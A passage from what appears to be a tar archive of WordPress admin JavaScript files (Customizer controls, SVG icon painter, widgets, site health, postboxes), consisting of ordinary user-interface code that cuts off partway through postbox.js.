api.previewer.previewUrl.set( api.settings.url.home ); } // Change the previewed URL to the selected page when changing the page_for_posts. if ( setting === pageForPosts && pageForPostsId > 0 ) { api.previewer.previewUrl.set( api.settings.url.home + '?page_id=' + pageForPostsId ); } } // Toggle notification when the homepage and posts page are both set and the same. if ( 'page' === showOnFront() && pageOnFrontId && pageForPostsId && pageOnFrontId === pageForPostsId ) { showOnFront.notifications.add( new api.Notification( errorCode, { type: 'error', message: api.l10n.pageOnFrontError } ) ); } else { showOnFront.notifications.remove( errorCode ); } }; showOnFront.bind( handleChange ); pageOnFront.bind( handleChange ); pageForPosts.bind( handleChange ); handleChange.call( showOnFront, showOnFront() ); // Make sure initial notification is added after loading existing changeset. // Move notifications container to the bottom. api.control( 'show_on_front', function( showOnFrontControl ) { showOnFrontControl.deferred.embedded.done( function() { showOnFrontControl.container.append( showOnFrontControl.getNotificationsContainerElement() ); }); }); }); // Add code editor for Custom CSS. (function() { var sectionReady = $.Deferred(); api.section( 'custom_css', function( section ) { section.deferred.embedded.done( function() { if ( section.expanded() ) { sectionReady.resolve( section ); } else { section.expanded.bind( function( isExpanded ) { if ( isExpanded ) { sectionReady.resolve( section ); } } ); } }); }); // Set up the section description behaviors. sectionReady.done( function setupSectionDescription( section ) { var control = api.control( 'custom_css' ); // Hide redundant label for visual users. control.container.find( '.customize-control-title:first' ).addClass( 'screen-reader-text' ); // Close the section description when clicking the close button. section.container.find( '.section-description-buttons .section-description-close' ).on( 'click', function() { section.container.find( '.section-meta .customize-section-description:first' ) .removeClass( 'open' ) .slideUp(); section.container.find( '.customize-help-toggle' ) .attr( 'aria-expanded', 'false' ) .focus(); // Avoid focus loss. }); // Reveal help text if setting is empty. if ( control && ! control.setting.get() ) { section.container.find( '.section-meta .customize-section-description:first' ) .addClass( 'open' ) .show() .trigger( 'toggled' ); section.container.find( '.customize-help-toggle' ).attr( 'aria-expanded', 'true' ); } }); })(); // Toggle visibility of Header Video notice when active state change. api.control( 'header_video', function( headerVideoControl ) { headerVideoControl.deferred.embedded.done( function() { var toggleNotice = function() { var section = api.section( headerVideoControl.section() ), noticeCode = 'video_header_not_available'; if ( ! section ) { return; } if ( headerVideoControl.active.get() ) { section.notifications.remove( noticeCode ); } else { section.notifications.add( new api.Notification( noticeCode, { type: 'info', message: api.l10n.videoHeaderNotice } ) ); } }; toggleNotice(); headerVideoControl.active.bind( toggleNotice ); } ); } ); // Update the setting validities. api.previewer.bind( 'selective-refresh-setting-validities', function handleSelectiveRefreshedSettingValidities( settingValidities ) { api._handleSettingValidities( { settingValidities: settingValidities, focusInvalidControl: false } ); } ); // Focus on the control that is associated with the given setting. api.previewer.bind( 'focus-control-for-setting', function( settingId ) { var matchedControls = []; api.control.each( function( control ) { var settingIds = _.pluck( control.settings, 'id' ); if ( -1 !== _.indexOf( settingIds, settingId ) ) { matchedControls.push( control ); } } ); // Focus on the matched control with the lowest priority (appearing higher). if ( matchedControls.length ) { matchedControls.sort( function( a, b ) { return a.priority() - b.priority(); } ); matchedControls[0].focus(); } } ); // Refresh the preview when it requests. api.previewer.bind( 'refresh', function() { api.previewer.refresh(); }); // Update the edit shortcut visibility state. api.state( 'paneVisible' ).bind( function( isPaneVisible ) { var isMobileScreen; if ( window.matchMedia ) { isMobileScreen = window.matchMedia( 'screen and ( max-width: 640px )' ).matches; } else { isMobileScreen = $( window ).width() <= 640; } api.state( 'editShortcutVisibility' ).set( isPaneVisible || isMobileScreen ? 'visible' : 'hidden' ); } ); if ( window.matchMedia ) { window.matchMedia( 'screen and ( max-width: 640px )' ).addListener( function() { var state = api.state( 'paneVisible' ); state.callbacks.fireWith( state, [ state.get(), state.get() ] ); } ); } api.previewer.bind( 'edit-shortcut-visibility', function( visibility ) { api.state( 'editShortcutVisibility' ).set( visibility ); } ); api.state( 'editShortcutVisibility' ).bind( function( visibility ) { api.previewer.send( 'edit-shortcut-visibility', visibility ); } ); // Autosave changeset. function startAutosaving() { var timeoutId, updateChangesetWithReschedule, scheduleChangesetUpdate, updatePending = false; api.unbind( 'change', startAutosaving ); // Ensure startAutosaving only fires once. function onChangeSaved( isSaved ) { if ( ! isSaved && ! api.settings.changeset.autosaved ) { api.settings.changeset.autosaved = true; // Once a change is made then autosaving kicks in. api.previewer.send( 'autosaving' ); } } api.state( 'saved' ).bind( onChangeSaved ); onChangeSaved( api.state( 'saved' ).get() ); /** * Request changeset update and then re-schedule the next changeset update time. * * @since 4.7.0 * @private */ updateChangesetWithReschedule = function() { if ( ! updatePending ) { updatePending = true; api.requestChangesetUpdate( {}, { autosave: true } ).always( function() { updatePending = false; } ); } scheduleChangesetUpdate(); }; /** * Schedule changeset update. * * @since 4.7.0 * @private */ scheduleChangesetUpdate = function() { clearTimeout( timeoutId ); timeoutId = setTimeout( function() { updateChangesetWithReschedule(); }, api.settings.timeouts.changesetAutoSave ); }; // Start auto-save interval for updating changeset. scheduleChangesetUpdate(); // Save changeset when focus removed from window. $( document ).on( 'visibilitychange.wp-customize-changeset-update', function() { if ( document.hidden ) { updateChangesetWithReschedule(); } } ); // Save changeset before unloading window. $( window ).on( 'beforeunload.wp-customize-changeset-update', function() { updateChangesetWithReschedule(); } ); } api.bind( 'change', startAutosaving ); // Make sure TinyMCE dialogs appear above Customizer UI. $( document ).one( 'tinymce-editor-setup', function() { if ( window.tinymce.ui.FloatPanel && ( ! window.tinymce.ui.FloatPanel.zIndex || window.tinymce.ui.FloatPanel.zIndex < 500001 ) ) { window.tinymce.ui.FloatPanel.zIndex = 500001; } } ); body.addClass( 'ready' ); api.trigger( 'ready' ); }); })( wp, jQuery ); js/svg-painter.min.js 0000644 00000003037 15233246127 0010547 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},wp.svgPainter=function(a,i){"use strict";var n,t,s={},o=[];return a(function(){wp.svgPainter.init()}),{init:function(){t=this,n=a("#adminmenu .wp-menu-image, #wpadminbar .ab-item"),t.setColors(),t.findElements(),t.paint()},setColors:function(n){(n=void 0===n&&void 0!==i._wpColorScheme?i._wpColorScheme:n)&&n.icons&&n.icons.base&&n.icons.current&&n.icons.focus&&(s=n.icons)},findElements:function(){n.each(function(){var n=a(this),e=n.css("background-image");e&&-1!=e.indexOf("data:image/svg+xml;base64")&&o.push(n)})},paint:function(){a.each(o,function(n,e){var a=e.parent().parent();a.hasClass("current")||a.hasClass("wp-has-current-submenu")?t.paintElement(e,"current"):(t.paintElement(e,"base"),a.on("mouseenter",function(){t.paintElement(e,"focus")}).on("mouseleave",function(){i.setTimeout(function(){t.paintElement(e,"base")},100)}))})},paintElement:function(n,e){var a,t;if(e&&s.hasOwnProperty(e)&&(e=s[e]).match(/^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i)&&"none"!==(a=n.data("wp-ui-svg-"+e))){if(!a){if(!(t=n.css("background-image").match(/.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/))||!t[1])return void n.data("wp-ui-svg-"+e,"none");try{a=i.atob(t[1])}catch(n){}if(!a)return void n.data("wp-ui-svg-"+e,"none");a=(a=(a=a.replace(/fill="(.+?)"/g,'fill="'+e+'"')).replace(/style="(.+?)"/g,'style="fill:'+e+'"')).replace(/fill:.*?;/g,"fill: "+e+";"),a=i.btoa(a),n.data("wp-ui-svg-"+e,a)}n.attr("style",'background-image: url("data:image/svg+xml;base64,'+a+'") !important;')}}}}(jQuery,window,document); js/widgets.min.js 0000644 00000030501 15233246127 0007752 0 ustar 00 /*! This file is auto-generated */ !function(w){var l=w(document);window.wpWidgets={hoveredSidebar:null,dirtyWidgets:{},init:function(){var r,o,g=this,d=w(".widgets-chooser"),s=d.find(".widgets-chooser-sidebars"),e=w("div.widgets-sortables"),c=!("undefined"==typeof isRtl||!isRtl);w("#widgets-right .sidebar-name").on("click",function(){var e=w(this),i=e.closest(".widgets-holder-wrap "),t=e.find(".handlediv");i.hasClass("closed")?(i.removeClass("closed"),t.attr("aria-expanded","true"),e.parent().sortable("refresh")):(i.addClass("closed"),t.attr("aria-expanded","false")),l.triggerHandler("wp-pin-menu")}).find(".handlediv").each(function(e){0!==e&&w(this).attr("aria-expanded","false")}),w(window).on("beforeunload.widgets",function(e){var i,t=[];if(w.each(g.dirtyWidgets,function(e,i){i&&t.push(e)}),0!==t.length)return(i=w("#widgets-right").find(".widget").filter(function(){return-1!==t.indexOf(w(this).prop("id").replace(/^widget-\d+_/,""))})).each(function(){w(this).hasClass("open")||w(this).find(".widget-title-action:first").trigger("click")}),i.first().each(function(){this.scrollIntoViewIfNeeded?this.scrollIntoViewIfNeeded():this.scrollIntoView(),w(this).find(".widget-inside :tabbable:first").trigger("focus")}),e.returnValue=wp.i18n.__("The changes you made will be lost if you navigate away from this page."),e.returnValue}),w("#widgets-left .sidebar-name").on("click",function(){var e=w(this).closest(".widgets-holder-wrap");e.toggleClass("closed").find(".handlediv").attr("aria-expanded",!e.hasClass("closed")),l.triggerHandler("wp-pin-menu")}),w(document.body).on("click.widgets-toggle",function(e){var i,t,d,a,s,n,r=w(e.target),o={},l=r.closest(".widget").find(".widget-top button.widget-action");r.parents(".widget-top").length&&!r.parents("#available-widgets").length?(t=(i=r.closest("div.widget")).children(".widget-inside"),d=parseInt(i.find("input.widget-width").val(),10),a=i.parent().width(),n=t.find(".widget-id").val(),i.data("dirty-state-initialized")||((s=t.find(".widget-control-save")).prop("disabled",!0).val(wp.i18n.__("Saved")),t.on("input change",function(){g.dirtyWidgets[n]=!0,i.addClass("widget-dirty"),s.prop("disabled",!1).val(wp.i18n.__("Save"))}),i.data("dirty-state-initialized",!0)),t.is(":hidden")?(250<d&&a<d+30&&i.closest("div.widgets-sortables").length&&(o[i.closest("div.widget-liquid-right").length?c?"margin-right":"margin-left":c?"margin-left":"margin-right"]=a-(d+30)+"px",i.css(o)),l.attr("aria-expanded","true"),t.slideDown("fast",function(){i.addClass("open")})):(l.attr("aria-expanded","false"),t.slideUp("fast",function(){i.attr("style",""),i.removeClass("open")}))):r.hasClass("widget-control-save")?(wpWidgets.save(r.closest("div.widget"),0,1,0),e.preventDefault()):r.hasClass("widget-control-remove")?wpWidgets.save(r.closest("div.widget"),1,1,0):r.hasClass("widget-control-close")?((i=r.closest("div.widget")).removeClass("open"),l.attr("aria-expanded","false"),wpWidgets.close(i)):"inactive-widgets-control-remove"===r.attr("id")&&(wpWidgets.removeInactiveWidgets(),e.preventDefault())}),e.children(".widget").each(function(){var e=w(this);wpWidgets.appendTitle(this),e.find("p.widget-error").length&&e.find(".widget-action").trigger("click").attr("aria-expanded","true")}),w("#widget-list").children(".widget").draggable({connectToSortable:"div.widgets-sortables",handle:"> .widget-top > .widget-title",distance:2,helper:"clone",zIndex:101,containment:"#wpwrap",refreshPositions:!0,start:function(e,i){var t=w(this).find(".widgets-chooser");i.helper.find("div.widget-description").hide(),o=this.id,t.length&&(w("#wpbody-content").append(t.hide()),i.helper.find(".widgets-chooser").remove(),g.clearWidgetSelection())},stop:function(){r&&w(r).hide(),r=""}}),e.droppable({tolerance:"intersect",over:function(e){var i=w(e.target).parent();wpWidgets.hoveredSidebar&&!i.is(wpWidgets.hoveredSidebar)&&wpWidgets.closeSidebar(e),i.hasClass("closed")&&(wpWidgets.hoveredSidebar=i).removeClass("closed").find(".handlediv").attr("aria-expanded","true"),w(this).sortable("refresh")},out:function(e){wpWidgets.hoveredSidebar&&wpWidgets.closeSidebar(e)}}),e.sortable({placeholder:"widget-placeholder",items:"> .widget",handle:"> .widget-top > .widget-title",cursor:"move",distance:2,containment:"#wpwrap",tolerance:"pointer",refreshPositions:!0,start:function(e,i){var t=w(this),d=t.parent(),a=i.item.children(".widget-inside");"block"===a.css("display")&&(i.item.removeClass("open"),i.item.find(".widget-top button.widget-action").attr("aria-expanded","false"),a.hide(),w(this).sortable("refreshPositions")),d.hasClass("closed")||(a=i.item.hasClass("ui-draggable")?t.height():1+t.height(),t.css("min-height",a+"px"))},stop:function(e,i){var t,d,a,s,i=i.item,n=o;wpWidgets.hoveredSidebar=null,i.hasClass("deleting")?(wpWidgets.save(i,1,0,1),i.remove()):(t=i.find("input.add_new").val(),d=i.find("input.multi_number").val(),i.attr("style","").removeClass("ui-draggable"),o="",t&&("multi"===t?(i.html(i.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,d)})),i.attr("id",n.replace("__i__",d)),d++,w("div#"+n).find("input.multi_number").val(d)):"single"===t&&(i.attr("id","new-"+n),r="div#"+n),wpWidgets.save(i,0,0,1),i.find("input.add_new").val(""),l.trigger("widget-added",[i])),(n=i.parent()).parent().hasClass("closed")&&(n.parent().removeClass("closed").find(".handlediv").attr("aria-expanded","true"),1<(a=n.children(".widget")).length)&&(a=a.get(0),s=i.get(0),a.id)&&s.id&&a.id!==s.id&&w(a).before(i),t?i.find(".widget-action").trigger("click"):wpWidgets.saveOrder(n.attr("id")))},activate:function(){w(this).parent().addClass("widget-hover")},deactivate:function(){w(this).css("min-height","").parent().removeClass("widget-hover")},receive:function(e,i){i=w(i.sender);-1<this.id.indexOf("orphaned_widgets")?i.sortable("cancel"):-1<i.attr("id").indexOf("orphaned_widgets")&&!i.children(".widget").length&&i.parents(".orphan-sidebar").slideUp(400,function(){w(this).remove()})}}).sortable("option","connectWith","div.widgets-sortables"),w("#available-widgets").droppable({tolerance:"pointer",accept:function(e){return"widget-list"!==w(e).parent().attr("id")},drop:function(e,i){i.draggable.addClass("deleting"),w("#removing-widget").hide().children("span").empty()},over:function(e,i){i.draggable.addClass("deleting"),w("div.widget-placeholder").hide(),i.draggable.hasClass("ui-sortable-helper")&&w("#removing-widget").show().children("span").html(i.draggable.find("div.widget-title").children("h3").html())},out:function(e,i){i.draggable.removeClass("deleting"),w("div.widget-placeholder").show(),w("#removing-widget").hide().children("span").empty()}}),w("#widgets-right .widgets-holder-wrap").each(function(e,i){var i=w(i),t=i.find(".sidebar-name h2").text()||"",d=i.find(".sidebar-name").data("add-to"),i=i.find(".widgets-sortables").attr("id"),a=w("<li>"),d=w("<button>",{type:"button","aria-pressed":"false",class:"widgets-chooser-button","aria-label":d}).text(t.toString().trim());a.append(d),0===e&&(a.addClass("widgets-chooser-selected"),d.attr("aria-pressed","true")),s.append(a),a.data("sidebarId",i)}),w("#available-widgets .widget .widget-top").on("click.widgets-chooser",function(){var e=w(this).closest(".widget"),i=w(this).find(".widget-action"),t=s.find(".widgets-chooser-button");e.hasClass("widget-in-question")||w("#widgets-left").hasClass("chooser")?(i.attr("aria-expanded","false"),g.closeChooser()):(g.clearWidgetSelection(),w("#widgets-left").addClass("chooser"),e.addClass("widget-in-question").children(".widget-description").after(d),d.slideDown(300,function(){i.attr("aria-expanded","true")}),t.on("click.widgets-chooser",function(){s.find(".widgets-chooser-selected").removeClass("widgets-chooser-selected"),t.attr("aria-pressed","false"),w(this).attr("aria-pressed","true").closest("li").addClass("widgets-chooser-selected")}))}),d.on("click.widgets-chooser",function(e){e=w(e.target);e.hasClass("button-primary")?(g.addWidget(d),g.closeChooser()):e.hasClass("widgets-chooser-cancel")&&g.closeChooser()}).on("keyup.widgets-chooser",function(e){e.which===w.ui.keyCode.ESCAPE&&g.closeChooser()})},saveOrder:function(e){var i={action:"widgets-order",savewidgets:w("#_wpnonce_widgets").val(),sidebars:[]};e&&w("#"+e).find(".spinner:first").addClass("is-active"),w("div.widgets-sortables").each(function(){w(this).sortable&&(i["sidebars["+w(this).attr("id")+"]"]=w(this).sortable("toArray").join(","))}),w.post(ajaxurl,i,function(){w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length),w(".spinner").removeClass("is-active")})},save:function(t,d,a,s){var n=this,r=t.closest("div.widgets-sortables").attr("id"),e=t.find("form"),i=t.find("input.add_new").val();(d||i||!e.prop("checkValidity")||e[0].checkValidity())&&(i=e.serialize(),t=w(t),w(".spinner",t).addClass("is-active"),e={action:"save-widget",savewidgets:w("#_wpnonce_widgets").val(),sidebar:r},d&&(e.delete_widget=1),i+="&"+w.param(e),w.post(ajaxurl,i,function(e){var i=w("input.widget-id",t).val();d?(w("input.widget_number",t).val()||w("#available-widgets").find("input.widget-id").each(function(){w(this).val()===i&&w(this).closest("div.widget").show()}),a?(s=0,t.slideUp("fast",function(){w(this).remove(),wpWidgets.saveOrder(),delete n.dirtyWidgets[i]})):(t.remove(),delete n.dirtyWidgets[i],"wp_inactive_widgets"===r&&w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length))):(w(".spinner").removeClass("is-active"),e&&2<e.length&&(w("div.widget-content",t).html(e),wpWidgets.appendTitle(t),t.find(".widget-control-save").prop("disabled",!0).val(wp.i18n.__("Saved")),t.removeClass("widget-dirty"),delete n.dirtyWidgets[i],l.trigger("widget-updated",[t]),"wp_inactive_widgets"===r)&&w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length)),s&&wpWidgets.saveOrder()}))},removeInactiveWidgets:function(){var e,i=w(".remove-inactive-widgets"),t=this;w(".spinner",i).addClass("is-active"),e={action:"delete-inactive-widgets",removeinactivewidgets:w("#_wpnonce_remove_inactive_widgets").val()},e=w.param(e),w.post(ajaxurl,e,function(){w("#wp_inactive_widgets .widget").each(function(){var e=w(this);delete t.dirtyWidgets[e.find("input.widget-id").val()],e.remove()}),w("#inactive-widgets-control-remove").prop("disabled",!0),w(".spinner",i).removeClass("is-active")})},appendTitle:function(e){var i=(i=w('input[id*="-title"]',e).val()||"")&&": "+i.replace(/<[^<>]+>/g,"").replace(/</g,"<").replace(/>/g,">");w(e).children(".widget-top").children(".widget-title").children().children(".in-widget-title").html(i)},close:function(e){e.children(".widget-inside").slideUp("fast",function(){e.attr("style","").find(".widget-top button.widget-action").attr("aria-expanded","false").focus()})},addWidget:function(e){var i,e=e.find(".widgets-chooser-selected").data("sidebarId"),e=w("#"+e),t=w("#available-widgets").find(".widget-in-question").clone(),d=t.attr("id"),a=t.find("input.add_new").val(),s=t.find("input.multi_number").val();t.find(".widgets-chooser").remove(),"multi"===a?(t.html(t.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,s)})),t.attr("id",d.replace("__i__",s)),s++,w("#"+d).find("input.multi_number").val(s)):"single"===a&&(t.attr("id","new-"+d),w("#"+d).hide()),e.closest(".widgets-holder-wrap").removeClass("closed").find(".handlediv").attr("aria-expanded","true"),e.append(t),e.sortable("refresh"),wpWidgets.save(t,0,0,1),t.find("input.add_new").val(""),l.trigger("widget-added",[t]),d=(a=w(window).scrollTop())+w(window).height(),(i=e.offset()).bottom=i.top+e.outerHeight(),(a>i.bottom||d<i.top)&&w("html, body").animate({scrollTop:i.top-130},200),window.setTimeout(function(){t.find(".widget-title").trigger("click"),window.wp.a11y.speak(wp.i18n.__("Widget has been added to the selected sidebar"),"assertive")},250)},closeChooser:function(){var e=this,i=w("#available-widgets .widget-in-question");w(".widgets-chooser").slideUp(200,function(){w("#wpbody-content").append(this),e.clearWidgetSelection(),i.find(".widget-action").attr("aria-expanded","false").focus()})},clearWidgetSelection:function(){w("#widgets-left").removeClass("chooser"),w(".widget-in-question").removeClass("widget-in-question")},closeSidebar:function(e){this.hoveredSidebar.addClass("closed").find(".handlediv").attr("aria-expanded","false"),w(e.target).css("min-height",""),this.hoveredSidebar=null}},w(function(){wpWidgets.init()})}(jQuery),wpWidgets.l10n=wpWidgets.l10n||{save:"",saved:"",saveAlert:"",widgetAdded:""},wpWidgets.l10n=window.wp.deprecateL10nObject("wpWidgets.l10n",wpWidgets.l10n,"5.5.0"); js/site-health.min.js 0000644 00000014512 15233246127 0010517 0 ustar 00 /*! This file is auto-generated */ jQuery(function(o){var a,r=wp.i18n.__,n=wp.i18n._n,c=wp.i18n.sprintf,e=new ClipboardJS(".site-health-copy-buttons .copy-button"),l=o(".health-check-body.health-check-status-tab").length,t=o(".health-check-body.health-check-debug-tab").length,i=o("#health-check-accordion-block-wp-paths-sizes"),h=o("#adminmenu .site-health-counter"),d=o("#adminmenu .site-health-counter .count");function u(e){var t,s,a=wp.template("health-check-issue"),i=o("#health-check-issues-"+e.status);!function(e){var t,s,a,i,n={test:"string",label:"string",description:"string"},o=!0;if("object"==typeof e){for(t in n)if("object"==typeof(s=n[t]))for(a in s)i=s[a],void 0!==e[t]&&void 0!==e[t][a]&&i===typeof e[t][a]||(o=!1);else void 0!==e[t]&&s===typeof e[t]||(o=!1);return o}}(e)||(SiteHealth.site_status.issues[e.status]++,s=SiteHealth.site_status.issues[e.status],void 0===e.test&&(e.test=e.status+s),"critical"===e.status?t=c(n("%s critical issue","%s critical issues",s),'<span class="issue-count">'+s+"</span>"):"recommended"===e.status?t=c(n("%s recommended improvement","%s recommended improvements",s),'<span class="issue-count">'+s+"</span>"):"good"===e.status&&(t=c(n("%s item with no issues detected","%s items with no issues detected",s),'<span class="issue-count">'+s+"</span>")),t&&o(".site-health-issue-count-title",i).html(t),d.text(SiteHealth.site_status.issues.critical),0<parseInt(SiteHealth.site_status.issues.critical,0)?(o("#health-check-issues-critical").removeClass("hidden"),h.removeClass("count-0")):h.addClass("count-0"),0<parseInt(SiteHealth.site_status.issues.recommended,0)&&o("#health-check-issues-recommended").removeClass("hidden"),o(".issues","#health-check-issues-"+e.status).append(a(e)))}function p(){var e=o(".site-health-progress"),t=e.closest(".site-health-progress-wrapper"),s=o(".site-health-progress-label",t),a=o(".site-health-progress svg #bar"),i=parseInt(SiteHealth.site_status.issues.good,0)+parseInt(SiteHealth.site_status.issues.recommended,0)+1.5*parseInt(SiteHealth.site_status.issues.critical,0),n=.5*parseInt(SiteHealth.site_status.issues.recommended,0)+1.5*parseInt(SiteHealth.site_status.issues.critical,0),n=100-Math.ceil(n/i*100);0===i?e.addClass("hidden"):(t.removeClass("loading"),i=a.attr("r"),e=Math.PI*(2*i),a.css({strokeDashoffset:(100-(n=100<(n=n<0?0:n)?100:n))/100*e+"px"}),80<=n&&0===parseInt(SiteHealth.site_status.issues.critical,0)?(t.addClass("green").removeClass("orange"),s.text(r("Good")),m("good")):(t.addClass("orange").removeClass("green"),s.text(r("Should be improved")),m("improvable")),l&&(o.post(ajaxurl,{action:"health-check-site-status-result",_wpnonce:SiteHealth.nonce.site_status_result,counts:SiteHealth.site_status.issues}),100===n)&&(o(".site-status-all-clear").removeClass("hide"),o(".site-status-has-issues").addClass("hide")))}function g(e,t){e={status:"recommended",label:r("A test is unavailable"),badge:{color:"red",label:r("Unavailable")},description:"<p>"+e+"</p><p>"+t+"</p>",actions:""};u(wp.hooks.applyFilters("site_status_test_result",e))}function s(){var t=(new Date).getTime(),s=window.setTimeout(function(){m("waiting-for-directory-sizes")},3e3);wp.apiRequest({path:"/wp-site-health/v1/directory-sizes"}).done(function(e){var a,s;a=e||{},e=o("button.button.copy-button"),s=e.attr("data-clipboard-text"),o.each(a,function(e,t){t=t.debug||t.size;void 0!==t&&(s=s.replace(e+": loading...",e+": "+t))}),e.attr("data-clipboard-text",s),i.find("td[class]").each(function(e,t){var t=o(t),s=t.attr("class");a.hasOwnProperty(s)&&a[s].size&&t.text(a[s].size)})}).always(function(){var e=(new Date).getTime()-t;o(".health-check-wp-paths-sizes.spinner").css("visibility","hidden"),3e3<e?(e=6e3<e?0:6500-e,window.setTimeout(function(){p()},e)):window.clearTimeout(s),o(document).trigger("site-health-info-dirsizes-done")})}function m(e){if("site-health"===SiteHealth.screen)switch(e){case"good":wp.a11y.speak(r("All site health tests have finished running. Your site is looking good."));break;case"improvable":wp.a11y.speak(r("All site health tests have finished running. There are items that should be addressed."));break;case"waiting-for-directory-sizes":wp.a11y.speak(r("Running additional tests... please wait."))}}e.on("success",function(e){var t=o(e.trigger),s=o(".success",t.closest("div"));e.clearSelection(),clearTimeout(a),s.removeClass("hidden"),a=setTimeout(function(){s.addClass("hidden")},3e3),wp.a11y.speak(r("Site information has been copied to your clipboard."))}),o(".health-check-accordion").on("click",".health-check-accordion-trigger",function(){var e="true"===o(this).attr("aria-expanded");o(this).prop("id")&&(window.location.hash=o(this).prop("id")),e?(o(this).attr("aria-expanded","false"),o("#"+o(this).attr("aria-controls")).attr("hidden",!0)):(o(this).attr("aria-expanded","true"),o("#"+o(this).attr("aria-controls")).attr("hidden",!1))}),wp.domReady(function(){var e=window.location.hash;e&&(e=o(e)).is(".health-check-accordion-trigger")&&e.trigger("click")}),o(".site-health-view-passed").on("click",function(){var e=o("#health-check-issues-good");e.toggleClass("hidden"),o(this).attr("aria-expanded",!e.hasClass("hidden"))}),"undefined"!=typeof SiteHealth&&(0===SiteHealth.site_status.direct.length&&0===SiteHealth.site_status.async.length?p():SiteHealth.site_status.issues={good:0,recommended:0,critical:0},0<SiteHealth.site_status.direct.length&&o.each(SiteHealth.site_status.direct,function(){u(this)}),(0<SiteHealth.site_status.async.length?function t(){var s=!0;1<=SiteHealth.site_status.async.length&&o.each(SiteHealth.site_status.async,function(){var e={action:"health-check-"+this.test.replace("_","-"),_wpnonce:SiteHealth.nonce.site_status};return!!this.completed||(s=!1,this.completed=!0,(void 0!==this.has_rest&&this.has_rest?wp.apiRequest({url:wp.url.addQueryArgs(this.test,{_locale:"user"}),headers:this.headers}).done(function(e){u(wp.hooks.applyFilters("site_status_test_result",e))}).fail(function(e){e=void 0!==e.responseJSON&&void 0!==e.responseJSON.message?e.responseJSON.message:r("No details available"),g(this.url,e)}):o.post(ajaxurl,e).done(function(e){u(wp.hooks.applyFilters("site_status_test_result",e.data))}).fail(function(e){e=void 0!==e.responseJSON&&void 0!==e.responseJSON.message?e.responseJSON.message:r("No details available"),g(this.url,e)})).always(function(){t()}),!1)}),s&&p()}:p)()),t&&(i.length?s:p)(),o(".health-check-offscreen-nav-wrapper").on("click",function(){o(this).toggleClass("visible")})}); js/postbox.js 0000644 00000044771 15233246127 0007236 0 ustar 00 /** * Contains the postboxes logic, opening and closing postboxes, reordering and saving * the state and ordering to the database. * * @since 2.5.0 * @requires jQuery * @output wp-admin/js/postbox.js */ /* global ajaxurl, postboxes */ (function($) { var $document = $( document ), __ = wp.i18n.__; /** * This object contains all function to handle the behavior of the post boxes. The post boxes are the boxes you see * around the content on the edit page. * * @since 2.7.0 * * @namespace postboxes * * @type {Object} */ window.postboxes = { /** * Handles a click on either the postbox heading or the postbox open/close icon. * * Opens or closes the postbox. Expects `this` to equal the clicked element. * Calls postboxes.pbshow if the postbox has been opened, calls postboxes.pbhide * if the postbox has been closed. * * @since 4.4.0 * * @memberof postboxes * * @fires postboxes#postbox-toggled * * @return {void} */ handle_click : function () { var $el = $( this ), p = $el.closest( '.postbox' ), id = p.attr( 'id' ), ariaExpandedValue; if ( 'dashboard_browser_nag' === id ) { return; } p.toggleClass( 'closed' ); ariaExpandedValue = ! p.hasClass( 'closed' ); if ( $el.hasClass( 'handlediv' ) ) { // The handle button was clicked. $el.attr( 'aria-expanded', ariaExpandedValue ); } else { // The handle heading was clicked. $el.closest( '.postbox' ).find( 'button.handlediv' ) .attr( 'aria-expanded', ariaExpandedValue ); } if ( postboxes.page !== 'press-this' ) { postboxes.save_state( postboxes.page ); } if ( id ) { if ( !p.hasClass('closed') && typeof postboxes.pbshow === 'function' ) { postboxes.pbshow( id ); } else if ( p.hasClass('closed') && typeof postboxes.pbhide === 'function' ) { postboxes.pbhide( id ); } } /** * Fires when a postbox has been opened or closed. * * Contains a jQuery object with the relevant postbox element. * * @since 4.0.0 * @ignore * * @event postboxes#postbox-toggled * @type {Object} */ $document.trigger( 'postbox-toggled', p ); }, /** * Handles clicks on the move up/down buttons. * * @since 5.5.0 * * @return {void} */ handleOrder: function() { var button = $( this ), postbox = button.closest( '.postbox' ), postboxId = postbox.attr( 'id' ), postboxesWithinSortables = postbox.closest( '.meta-box-sortables' ).find( '.postbox:visible' ), postboxesWithinSortablesCount = postboxesWithinSortables.length, postboxWithinSortablesIndex = postboxesWithinSortables.index( postbox ), firstOrLastPositionMessage; if ( 'dashboard_browser_nag' === postboxId ) { return; } // If on the first or last position, do nothing and send an audible message to screen reader users. if ( 'true' === button.attr( 'aria-disabled' ) ) { firstOrLastPositionMessage = button.hasClass( 'handle-order-higher' ) ? __( 'The box is on the first position' ) : __( 'The box is on the last position' ); wp.a11y.speak( firstOrLastPositionMessage ); return; } // Move a postbox up. if ( button.hasClass( 'handle-order-higher' ) ) { // If the box is first within a sortable area, move it to the previous sortable area. if ( 0 === postboxWithinSortablesIndex ) { postboxes.handleOrderBetweenSortables( 'previous', button, postbox ); return; } postbox.prevAll( '.postbox:visible' ).eq( 0 ).before( postbox ); button.trigger( 'focus' ); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); } // Move a postbox down. if ( button.hasClass( 'handle-order-lower' ) ) { // If the box is last within a sortable area, move it to the next sortable area. if ( postboxWithinSortablesIndex + 1 === postboxesWithinSortablesCount ) { postboxes.handleOrderBetweenSortables( 'next', button, postbox ); return; } postbox.nextAll( '.postbox:visible' ).eq( 0 ).after( postbox ); button.trigger( 'focus' ); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); } }, /** * Moves postboxes between the sortables areas. * * @since 5.5.0 * * @param {string} position The "previous" or "next" sortables area. * @param {Object} button The jQuery object representing the button that was clicked. * @param {Object} postbox The jQuery object representing the postbox to be moved. * * @return {void} */ handleOrderBetweenSortables: function( position, button, postbox ) { var closestSortablesId = button.closest( '.meta-box-sortables' ).attr( 'id' ), sortablesIds = [], sortablesIndex, detachedPostbox; // Get the list of sortables within the page. $( '.meta-box-sortables:visible' ).each( function() { sortablesIds.push( $( this ).attr( 'id' ) ); }); // Return if there's only one visible sortables area, e.g. in the block editor page. if ( 1 === sortablesIds.length ) { return; } // Find the index of the current sortables area within all the sortable areas. sortablesIndex = $.inArray( closestSortablesId, sortablesIds ); // 